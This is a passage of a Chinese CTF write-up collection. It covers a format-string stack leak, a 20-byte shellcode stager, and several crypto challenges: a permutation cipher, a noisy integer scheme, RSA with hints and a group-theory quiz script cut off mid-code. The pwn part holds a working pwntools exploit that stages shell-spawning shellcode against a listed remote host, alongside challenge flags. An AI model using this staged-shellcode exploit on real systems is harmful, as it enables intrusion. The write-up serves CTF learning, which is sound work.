Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 现在有一个密码隐藏在栈上(•̀ᴗ• ) 你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag 哦,对了对了,你还要告诉我指向这个密码的地址 在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定! 指向密码的指针被存放在了 0x7fffb3af6fc0 中, 同时栈顶指针是 0x7fffb3af6f40 . 他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・) 0x7fffb3af6fc0: [?] <-- 密码在这里捏 0x7fffb3af6fb8: [?] 0x7fffb3af6fb0: [?] 0x7fffb3af6fa8: [?] 0x7fffb3af6fa0: [?] 0x7fffb3af6f98: [?] 0x7fffb3af6f90: [?] 0x7fffb3af6f88: [?] 0x7fffb3af6f80: [?] 0x7fffb3af6f78: [?] 0x7fffb3af6f70: [?] 0x7fffb3af6f68: [?] 0x7fffb3af6f60: [?] 0x7fffb3af6f58: [?] 0x7fffb3af6f50: [?] 0x7fffb3af6f48: [?] 0x7fffb3af6f40: [?] 0x7fffb3af6f38: [?] 0x7fffb3af6f30: [?] <-- 栈顶在这里捏 R9: [?] R8: [?] RCX: [?] RDX: [?] RSI: [?] RDI: [格式化字符串] 现在给你两次输入的机会, 补要输入太长的数据哦. 接着我会使用printf, 用你的输入作为printf的参数. 看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入 |20:%20$p|21:%21$p|22:%22$p|23:%23$p|24:%24$p|25:%25$p|26:%26$p| printf第 1 次启动! |20:(nil)|21:(nil)|22:(nil)|23:(nil)|24:0x7fffb3af6f70|25:(nil)|26:(nil)| 再来一次 ! %24$p,%24$s printf第 2 次启动! 0x7fffb3af6f70,KMXXCLGEZSDOFVE 现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码: KMXXCLGEZSDOFVE 现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码: 给我输入一个类似 0x114514 的 16 进制数! 0x7fffb3af6f70 好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag flag{149eefbb-de23-4754-9333-76cb12ff0bb7}
FLAG 1 flag{149eefbb-de23-4754-9333-76cb12ff0bb7}
Challenge
密码的为什么能输入的字符这么少
【难度:中等】
Solution 先分析主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); buf = mmap((void *)0x114514 , 0x1000u , 7 , 34 , -1 , 0 ); puts ("please input a small function (also after compile)" ); read(0 , buf, 0x14u ); clear(); ((void (*)(void ))buf)(); return 0 ; }
mmap :程序在固定的、已知的地址 0x114514
申请了一页内存。关键在于权限 prot=7
,即 PROT_READ | PROT_WRITE | PROT_EXEC
,这是一块可读可写可执行(RWX)的内存区域。
read :程序向这块内存中读取用户输入,但长度被严格限制在 0x14
,即20个字节。
call :程序直接将用户输入的内容当作机器码来执行。
漏洞点在于我们可以直接向一块可执行内存写入并执行任意代码,挑战在于只有 20字节 的空间,而一个标准的 64 位 shellcode 通常需要超过20字节。
为了绕过20字节的限制可以采用分阶段加载的策略:
第一阶段 :先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用 read
系统调用,从标准输入读取一段更长的 shellcode 到 0x114514
这个地址。
第二阶段 :当 stager 执行并阻塞在 read
时再发送用于获取 shell 的完整 shellcode。
控制流转移 :当第二次 read
完成后,第二阶段的 shellcode 会覆盖掉第一阶段的 stager,因此,stager 必须在最后包含一条指令,将程序执行流(RIP)重新导向 0x114514
的开头,以确保发送的第二阶段 shellcode 能从头开始被完整执行。
1. 第一阶段:
stager 需要完成两件事:
执行 read(0, 0x114514, 0x50)
跳转回 0x114514
为了将代码压缩到20字节内,构造如下汇编指令:
1 2 3 4 5 6 7 8 9 10 11 ; 调用 read(0, 0x114514, 0x50) - 13 bytes ; 使用 32 位寄存器指令可以节省字节 xor eax, eax ; syscall read = 0 (2 bytes) xor edi, edi ; fd stdin = 0 (2 bytes) mov esi, 0x114514 ; buffer address (5 bytes) mov dl, 0x50 ; size to read (2 bytes) syscall ; 发起系统调用 (2 bytes) ; 跳转回缓冲区开头 - 7 bytes mov eax, 0x114514 ; 将绝对地址加载到寄存器 (5 bytes) jmp rax ; 通过寄存器间接跳转 (2 bytes)
这段 shellcode 的总长度为 13 + 7 = 20
字节,正好满足题目 0x14
字节的限制。
2. 第二阶段:
使用 pwntools
的 shellcraft
模块来生成 shellcode:
1 stage2_shellcode = asm(shellcraft.sh())
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context.arch = 'amd64' context.os = 'linux' context.log_level = 'info' HOST = '8.147.134.121' PORT = 26655 BUF_ADDR = 0x114514 p = remote(HOST, PORT) stage1_asm = f""" /* Part 1: Call read(0, BUF_ADDR, 0x50) */ xor eax, eax /* syscall read = 0 */ xor edi, edi /* fd stdin = 0 */ mov esi, {BUF_ADDR} /* buffer address */ mov dl, 0x50 /* size to read */ syscall /* Make the call */ /* Part 2: Jump back to the start of the buffer */ mov eax, {BUF_ADDR} /* Load the absolute address into eax */ jmp rax /* Jump to it */ """ stage1_shellcode = asm(stage1_asm) log.info(f"Stage 1 (stager) shellcode: {stage1_shellcode.hex ()} " ) log.info(f"Stage 1 (stager) shellcode length: {len (stage1_shellcode)} bytes" ) assert len (stage1_shellcode) <= 0x14 , "Stage 1 shellcode is too long!" stage1_shellcode = stage1_shellcode.ljust(0x14 , b'\x90' ) stage2_shellcode = asm(shellcraft.sh()) log.info(f"Stage 2 (main) shellcode length: {len (stage2_shellcode)} bytes" ) p.recvuntil(b"please input a small function (also after compile)\n" ) log.info("Sending Stage 1 (stager with jump) shellcode..." ) p.send(stage1_shellcode) sleep(0.2 ) log.info("Sending Stage 2 (main) shellcode..." ) p.send(stage2_shellcode) p.interactive()
FLAG 1 flag{69e91513-a99d-403b-8f3f-0afd9ec5b32e}
Crypto 置换 Challenge
我一看数学就头疼怎么办?(把解密出的文本用flag{}裹上提交)
【难度:中等】
Hello, guys! Let’s learn something new today.^1
在一个集合(例如 ${1,2,3}$)中,置换 是一个把集合元素重新排列的函数。
例如: $$\sigma(1)=2, \quad \sigma(2)=3, \quad \sigma(3)=1$$
我们可以可视化为: $$1 \rightarrow 2 \rightarrow 3 \rightarrow 1$$
或者使用 轮换表示法(cycle notation) : $$(1;2;3)$$
如果想组合两个置换 $\sigma_1$ 和 $\sigma_2$,写作: $$\sigma_2 \circ \sigma_1(x) = \sigma_2(\sigma_1(x))$$
例子: $$(1;3;2;5;4)(1;2;3;4;5) = (1;5;3)$$
把字母映射到数字: $$A=1, B=2, \dots, Z=26$$
我们定义一个置换 $\mathrm F$,它是 两个简单 $S_{26}$ 置换的复合 :
$$ \mathrm F = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14) \circ (1;3;5;7)(2;4;6)(8;10;12;14) $$
加密操作: $$ \mathrm{F}(\text{Message}) = \text{Ciphertext} $$
例子: $$ (1;2;3)(4;5) \text{ applied to } B C A E D F \quad \Rightarrow \quad C A B D E F $$
你的密文:
SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.
Solution
加密是函数 F 的应用: $$ \text{Ciphertext} = \mathrm{F}(\text{Message}) $$ 其中 $\mathrm F = \sigma_2 \circ \sigma_1$
解密是应用 F 的逆函数: $$ \text{Message} = \mathrm{F}^{-1}(\text{Ciphertext}) $$
对于复合函数,逆的顺序是相反的: $$ \mathrm{F}^{-1} = (\sigma_2 \circ \sigma_1)^{-1} = \sigma_1^{-1} \circ \sigma_2^{-1} $$ 这意味着解密时,我们需要先应用 $\sigma_2$ 的逆,再应用 $\sigma_1$ 的逆
只需将轮换中的元素顺序颠倒即可求得一个轮换的逆:例如轮换 $(1;2;3)$ 的作用是 $1 \to 2, 2 \to 3, 3 \to 1$,它的逆操作就是 $1 \to 3, 3 \to 2, 2 \to 1$,也就是轮换 $(1;3;2)$ 或 $(3;2;1)$
计算 $\sigma_1^{-1}$ 和 $\sigma_2^{-1}$ :
$\sigma_1 = (1;3;5;7)(2;4;6)(8;10;12;14)$ $$ \sigma_1^{-1} = (7;5;3;1)(6;4;2)(14;12;10;8) $$
$\sigma_2 = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14)$ $$ \sigma_2^{-1} = (7;6;5;4;3;2;1)(14;13;12;11;10;9;8) $$
编写Python脚本解题:
定义一个函数,将轮换表示法(字符串)转换为一个字典,方便查找映射关系。
创建 $\sigma_1^{-1}$ 和 $\sigma_2^{-1}$ 的映射字典。
遍历密文,对每个字母执行解密操作:字母 -> 数字 -> 应用 σ₂⁻¹ -> 应用 σ₁⁻¹ -> 数字 -> 字母
。
非字母字符(如 _
和 .
)保持不变。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import redef parse_cycles_to_map (cycle_notation_str: str ) -> dict [int , int ]: """ 将轮换表示法字符串解析为Python字典 """ permutation_map = {} cycles = re.findall(r'\((.*?)\)' , cycle_notation_str) for cycle in cycles: numbers = [int (n) for n in cycle.split()] if len (numbers) < 2 : continue for i in range (len (numbers) - 1 ): permutation_map[numbers[i]] = numbers[i+1 ] permutation_map[numbers[-1 ]] = numbers[0 ] return permutation_map ciphertext = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU." s1_inv_str = "(7 5 3 1)(6 4 2)(14 12 10 8)" s2_inv_str = "(7 6 5 4 3 2 1)(14 13 12 11 10 9 8)" s1_inv_map = parse_cycles_to_map(s1_inv_str) s2_inv_map = parse_cycles_to_map(s2_inv_str) plaintext = [] for char in ciphertext: if 'A' <= char <= 'Z' : num = ord (char) - ord ('A' ) + 1 num_after_s2_inv = s2_inv_map.get(num, num) decrypted_num = s1_inv_map.get(num_after_s2_inv, num_after_s2_inv) decrypted_char = chr (decrypted_num - 1 + ord ('A' )) plaintext.append(decrypted_char) else : plaintext.append(char) flag = "" .join(plaintext) print ("flag{" +flag+"}" )
FLAG 1 flag{SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.}
FHE: 0 and 1 Challenge
千里之堤,溃于蚁穴
【难度:简单】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import uuidimport randomfrom Crypto.Util.number import getPrimeflag = "flag{" + str (uuid.uuid4()) + "}" binary_flag = "" for ch in flag: binary_flag += bin (ord (ch))[2 :].zfill(8 ) p = getPrime(128 ) ciphertext = [] public_keys = [] for bit in binary_flag: rand_multiplier = random.randint(p // 4 , p // 2 ) rand_offset = random.randint(1 , 10 ) pk_i = p * rand_multiplier + rand_offset public_keys.append(pk_i) small_noise = 2 * random.randint(1 , p // 2 **64 ) large_noise = p * random.randint(p // 4 , p // 2 ) c_i = int (bit) + small_noise + large_noise ciphertext.append(c_i) with open ("pk.txt" , "w" ) as f: f.write(str (public_keys)) with open ("c.txt" , "w" ) as f: f.write(str (ciphertext))
Solution 加密逻辑分析
密钥 p
:脚本的核心秘密是一个128位的素数 p
,这个 p
在整个加密过程中保持不变,但没有被保存到任何文件中。因此解密的第一步就是恢复 p
公钥 public_keys
:每个公钥 pk_i
的生成方式是 pk_i = p * rand_multiplier + rand_offset
rand_multiplier
是一个非常大的随机整数
rand_offset
是一个非常小的随机整数,范围是 [1, 10]
这意味着 pk_i
非常接近 p
的某个倍数,如果我们计算 pk_i % p
,结果就是 rand_offset
由于所有的 pk_i
都共享同一个 p
,这给了我们一个找到 p
的突破口,p
是所有 (pk_i - r_i)
的一个“近似”公因子,其中 r_i
是我们不知道的小偏移量
密文 ciphertext
:每个密文 c_i
的生成方式是 c_i = int(bit) + small_noise + large_noise
bit
是 0 或 1
small_noise
是 2 * random.randint(...)
,这意味着 small_noise
永远是偶数
large_noise
是 p * random.randint(...)
,这意味着 large_noise
永远是 p
的倍数
解题思路
步骤一:恢复素数 p
我们观察公钥的结构 pk_i = p * q_i + r_i
(这里用 q_i
代表 rand_multiplier
,r_i
代表 rand_offset
)。
因为我们不知道 r_i
,所以不能直接通过求最大公约数(GCD)来找到 p
。但是,r_i
的范围非常小(1到10)。我们可以利用这一点:
任意选取一个公钥,比如 pk_0
我们知道 pk_0 = p * q_0 + r_0
,其中 r_0
是 1 到 10 之间的一个整数
我们可以遍历 r_0
的所有可能值(从1到10)
对于每一个猜测的 r_guess
,我们计算 M = pk_0 - r_guess
,如果我们的猜测是正确的那么 M
就是 p * q_0
的值
现在 M
应该有两个大素数因子 p
和 q_0
,我们可以对 M
进行质因数分解,p
是一个128位的素数,所以我们只需要在因子中寻找一个128位的数
找到一个候选的 p
之后我们需要验证它是否正确,可以用另一个公钥(比如 pk_1
)来验证,如果 p
是正确的,那么 pk_1 % p
的结果应该也在 [1, 10]
这个范围内,如果满足这个条件,我们几乎可以肯定已经找到了正确的 p
步骤二:解密 ciphertext
观察密文的结构:c_i = bit + small_noise + large_noise
等式两边同时模 p
:c_i % p = (bit + small_noise + large_noise) % p
因为 large_noise
是 p
的倍数,所以 large_noise % p = 0
等式变为:c_i % p = (bit + small_noise) % p
然后再对这个结果模 2:(c_i % p) % 2 = (bit + small_noise) % 2
因为 small_noise
是偶数,所以 small_noise % 2 = 0
等式变为:(c_i % p) % 2 = bit % 2
因为 bit
本身就是 0 或 1,所以 bit % 2
就是 bit
本身 得出结论: bit = (c_i % p) % 2
步骤三:恢复 flag
遍历所有密文 c_i
,使用上面的公式计算出每一位 bit
将所有 bit
拼接成一个二进制字符串
将二进制字符串按每8位进行分割
将每个8位的二进制块转换为其对应的ASCII字符
将所有字符拼接起来,就得到了原始的 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import astfrom sympy import factorintwith open ("pk.txt" , "r" ) as f: public_keys = ast.literal_eval(f.read()) with open ("c.txt" , "r" ) as f: ciphertext = ast.literal_eval(f.read()) def find_p (pks ): """ 通过因式分解和验证来恢复素数 p """ pk0 = pks[0 ] pk1 = pks[1 ] for r_guess in range (1 , 11 ): print (f"[*] 正在尝试 r_offset = {r_guess} ..." ) M = pk0 - r_guess try : factors = factorint(M) except Exception as e: print (f"因式分解失败: {e} " ) continue for p_candidate, _ in factors.items(): if p_candidate.bit_length() == 128 : print (f" [*] 找到一个128位的候选 p: {p_candidate} " ) remainder = pk1 % p_candidate if 1 <= remainder <= 10 : print (f" [+] 验证成功!remainder = {remainder} " ) return p_candidate else : print (f" [-] 验证失败。remainder = {remainder} " ) return None p = find_p(public_keys) if p: print (f"\n成功找到 p: {p} " ) else : print ("\n未能找到 p,解密失败。" ) exit() binary_flag = "" for c_i in ciphertext: bit = (c_i % p) % 2 binary_flag += str (bit) print (f"\n恢复的二进制字符串长度: {len (binary_flag)} " )flag = "" for i in range (0 , len (binary_flag), 8 ): byte = binary_flag[i:i+8 ] if len (byte) == 8 : char_code = int (byte, 2 ) flag += chr (char_code) print (flag)
FLAG 1 flag{3235c1ab-6830-480f-b5e0-39be40b94a7d}
RSA_revenge Challenge
Fermat和Euler在week1被击败了,这次他们大大升级卷土重来,聪明的你掏出了骨传导耳机和爆破弹,你能打出漂亮的防守吗?(方法不止一种哦,聪明的你能想到吗?)
【难度:困难】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from Crypto.Util.number import *import randomflag = b'flag{???????????????????}' length = len (flag) m1 = bytes_to_long(flag[:length//2 ]) m2 = bytes_to_long(flag[length//2 :]) def par1 (m ): lst = [] while len (lst) < 3 : prime = getPrime(512 ) if prime not in lst: lst.append(prime) print (prime) n1 = 1 for prime in lst: tmp = random.randint(2 , 7 ) print (tmp) n1 *= prime ** tmp e = 65537 c1 = pow (m, e, n1) print (f"list:{lst} " ) print (f"n1={n1} " ) print (f"c1={c1} " ) def par2 (m ): while True : p2 = getPrime(512 ) q2 = getPrime(512 ) r2 = getPrime(512 ) if p2 != q2 and p2 != r2 and q2 != r2: break n2 = p2 * q2 * r2 hint1 = pow (m, p2 * q2, n2) hint2 = pow (m, r2, n2) hint3 = p2 + q2 e = 65537 c2 = pow (m, e, n2) print (f"n2={n2} " ) print (f"hint1={hint1} " ) print (f"hint2={hint2} " ) print (f"hint3={hint3} " ) print (f"c2={c2} " ) par1(m1) par2(m2) ''' list:[8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317] n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463 c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949 n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199 hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372 hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076 hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840 c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968 '''
Solution 第 1 部分 (par1
解密 m1
)
目标 :解密 c1
得到 m1
,这是一个 RSA 加密,但模数 n1
不是两个素数的乘积,而是 p1^t1 * p2^t2 * p3^t3
关键 :要进行 RSA 解密,我们需要计算私钥 d1
,这需要欧拉函数 phi(n1)
欧拉函数计算 :
对于 n = p^k
,phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)
欧拉函数是积性函数,所以 phi(n1) = phi(p1^t1) * phi(p2^t2) * phi(p3^t3)
解密步骤 :
从 par1
的输出中我们直接获得了素数列表 lst
和对应的指数 t_i
利用上面的公式计算出 phi(n1)
计算私钥 d1 = inverse(e, phi(n1))
解密得到 m1 = pow(c1, d1, n1)
第 2 部分 (par2
解密 m2
)
目标 :解密 c2
得到 m2
,这是一个三素数 RSA 问题 (n2 = p2 * q2 * r2
),但我们有几个强大的 hint
利用 hint
分解 n2
:
hint2 = pow(m, r2, n2)
:根据费马小定理 m^r2 ≡ m (mod r2)
,因此我们可以推断出 hint2 ≡ m (mod r2)
因为 c2 = pow(m, e, n2)
,所以 c2 ≡ m^e (mod r2)
将 m ≡ hint2 (mod r2)
代入上式得到 c2 ≡ hint2^e (mod r2)
这意味着 c2 - hint2^e
是 r2
的倍数,同时 n2
也是 r2
的倍数,因此我们可以通过计算 gcd(c2 - pow(hint2, e, n2), n2)
来求出 r2
hint3 = p2 + q2
:一旦求出 r2
就可以计算 p2q2 = n2 // r2
现在知道了 p2 + q2
的值 (S = hint3
) 和 p2 * q2
的值 (P = n2 // r2
),可以解一个一元二次方程 x^2 - S*x + P = 0
来求出 p2
和 q2
,方程的解是 (S ± sqrt(S^2 - 4P)) / 2
解密步骤 :
使用上述 gcd
技巧求出 r2
计算 p2q2 = n2 // r2
使用 hint3
和 p2q2
解二次方程,得到 p2
和 q2
计算 phi(n2) = (p2 - 1) * (q2 - 1) * (r2 - 1)
计算私钥 d2 = inverse(e, phi(n2))
解密得到 m2 = pow(c2, d2, n2)
最后把 m1
和 m2
转换回字节并拼接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from Crypto.Util.number import *import mathlist = ...n1 = ... c1 = ... n2 = ... hint2 = ... hint3 = ... c2 = ... e = 65537 factors = {} temp_n1 = n1 for p in list : if p == 0 : continue count = 0 while temp_n1 % p == 0 : temp_n1 //= p count += 1 factors[p] = count phi_n1 = 1 for p, t in factors.items(): phi_n1 *= (p**(t-1 ) * (p-1 )) d1 = inverse(e, phi_n1) m1 = pow (c1, d1, n1) flag1 = long_to_bytes(m1) temp_val = (c2 - pow (hint2, e, n2)) % n2 r2 = GCD(temp_val, n2) p2q2 = n2 // r2 S = hint3 P = p2q2 delta = S*S - 4 *P if delta < 0 : print ("[!] 无法分解 p2 和 q2 (delta < 0)" ) else : sqrt_delta = math.isqrt(delta) if sqrt_delta * sqrt_delta != delta: print ("[!] 无法分解 p2 和 q2 (delta 不是完全平方数)" ) else : p2 = (S + sqrt_delta) // 2 q2 = (S - sqrt_delta) // 2 if p2 * q2 * r2 == n2: phi_n2 = (p2 - 1 ) * (q2 - 1 ) * (r2 - 1 ) d2 = inverse(e, phi_n2) m2 = pow (c2, d2, n2) flag2 = long_to_bytes(m2) flag = flag1 + flag2 print (flag) else : print ("[!] 分解出的素数不正确" )
FLAG 1 flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}
群论小测试 Challenge
扣”循环群“变成群论高手
【难度:中等】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 from __future__ import annotationsimport osimport randomimport systry : from sage.all import ( SymmetricGroup, AlternatingGroup, DihedralGroup, CyclicPermutationGroup, QuaternionGroup, AbelianGroup ) except Exception as e: sys.stderr.write("This script must be run with SageMath" ) raise ROUNDS_NEEDED = 5 from secret import FLAGCATALOG = [ ("C2" , lambda : CyclicPermutationGroup(2 ), {"C2" ,"C_2" ,"Z2" ,"Z_2" ,"CYCLIC2" }), ("C3" , lambda : CyclicPermutationGroup(3 ), {"C3" ,"C_3" ,"Z3" ,"Z_3" ,"CYCLIC3" }), ("C4" , lambda : CyclicPermutationGroup(4 ), {"C4" ,"C_4" ,"Z4" ,"Z_4" ,"CYCLIC4" }), ("C5" , lambda : CyclicPermutationGroup(5 ), {"C5" ,"C_5" ,"Z5" ,"Z_5" ,"CYCLIC5" }), ("C6" , lambda : CyclicPermutationGroup(6 ), {"C6" ,"C_6" ,"Z6" ,"Z_6" ,"CYCLIC6" }), ("C7" , lambda : CyclicPermutationGroup(7 ), {"C7" ,"C_7" ,"Z7" ,"Z_7" ,"CYCLIC7" }), ("C8" , lambda : CyclicPermutationGroup(8 ), {"C8" ,"C_8" ,"Z8" ,"Z_8" ,"CYCLIC8" }), ("C9" , lambda : CyclicPermutationGroup(9 ), {"C9" ,"C_9" ,"Z9" ,"Z_9" ,"CYCLIC9" }), ("C10" , lambda : CyclicPermutationGroup(10 ), {"C10" ,"C_10" ,"Z10" ,"Z_10" ,"CYCLIC10" }), ("V4" , lambda : AbelianGroup([2 ,2 ]), {"V4" ,"K4" ,"KLEIN4" ,"KLEINGROUP" ,"C2XC2" ,"C2*C2" ,"Z2XZ2" ,"Z2*Z2" }), ("S3" , lambda : SymmetricGroup(3 ), {"S3" ,"S_3" ,"SYM3" ,"D3" ,"D_3" ,"DIHEDRAL6" }), ("S5" , lambda : SymmetricGroup(5 ), {"S5" ,"S_5" ,"SYM5" }), ("D4" , lambda : DihedralGroup(4 ), {"D4" ,"D_4" ,"DIHEDRAL8" ,"D8" ,"D_8" }), ("D5" , lambda : DihedralGroup(5 ), {"D5" ,"D_5" ,"DIHEDRAL10" }), ("D6" , lambda : DihedralGroup(6 ), {"D6" ,"D_6" ,"DIHEDRAL12" }), ("Q8" , lambda : QuaternionGroup(), {"Q8" ,"Q_8" ,"QUATERNION" ,"QUATERNION8" }), ("A4" , lambda : AlternatingGroup(4 ), {"A4" ,"A_4" ,"ALT4" }), ("A5" , lambda : AlternatingGroup(5 ), {"A5" ,"A_5" ,"ALT" }), ] MAX_ORDER =10 def normalize_answer (s: str ) -> str : s = s.strip().upper() s = s.replace("×" ,"X" ).replace("*" ,"X" ).replace("-" ,"" ) s = s.replace("_" ,"" ).replace(" " ,"" ).replace("." ,"" ) return s def pick_group (): pool = [] for key, ctor, aliases in CATALOG: G = ctor() if MAX_ORDER is None or G.order() <= MAX_ORDER: pool.append((key, ctor, aliases)) key, ctor, aliases = random.choice(pool) G = ctor() return key, G, aliases def cayley_table_random_labels (G ): elems = list (G) n = len (elems) perm = list (range (n)) random.shuffle(perm) idx_by_elem = {elems[i]: perm[i] for i in range (n)} elem_by_label = [None ]*n for i, e in 